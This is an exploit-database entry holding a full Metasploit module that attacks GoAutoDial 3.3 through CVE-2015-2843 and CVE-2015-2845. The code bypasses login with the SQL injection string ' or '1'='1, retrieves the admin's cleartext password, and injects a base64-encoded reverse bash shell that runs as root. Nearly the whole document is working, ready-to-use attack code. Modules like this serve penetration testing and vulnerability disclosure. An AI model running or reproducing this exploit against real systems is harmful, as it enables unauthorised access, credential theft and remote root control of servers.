GoAutoDial 3.3 Authentication Bypass / Command Injection

Published
Credit
Risk
2017.07.05
Chris McCurley
High
CWE
CVE
Local
Remote
CWE-78
CVE-2015-2843
CVE-2015-2845
No
Yes

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
'Description' => %q{
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris McCurley', # Discovery & Metasploit module
],
'References' =>
[
['CVE', '2015-2843'],
['CVE', '2015-2845']
],
'Platform' => %w{unix},
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {} ] ],
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Apr 21 2015'))

register_options(
[
OptPort.new('RPORT', [true, 'The target port', 443]),
OptBool.new('SSL', [false, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path', '/'])
])
end


def check
res = check_version()
if res and res.body =~ /1421902800/
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end

def check_version()
uri = target_uri.path

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'changelog.txt'),
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
}
})
end

def sqli_auth_bypass()
uri = target_uri.path

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity'
},
'vars_post' => {
'user_name' => 'admin',
'user_pass' => '\'%20or%20\'1\'%3D\'1'
}
})
end

def sqli_admin_pass(cookies)
uri = target_uri.path

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity',
'Cookie' => cookies
}
})
end

#
# Run the actual exploit
#
def execute_command()

encoded = Rex::Text.encode_base64("#{payload.encoded}")
params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
uri = target_uri.path

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
'headers' => {
'User-Agent' => 'Mozilla/5.0',
'Accept-Encoding' => 'identity',
'Cookie' => @cookie
}
})
end


def exploit()
print_status("#{rhost}:#{rport} - Trying SQL injection...")
res1 = sqli_auth_bypass()

if res1 && res1.code == 200
print_good('Authentication Bypass (SQLi) was successful')
else
print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
end

@cookie = res1.get_cookies
print_status("#{rhost}:#{rport} - Dumping admin password...")
res = sqli_admin_pass(@cookie)

if res
print_good(res.body)
else
print_error('Error: No creds returned, possible mitigations are in place.')
end
print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")

execute_command()
end
end


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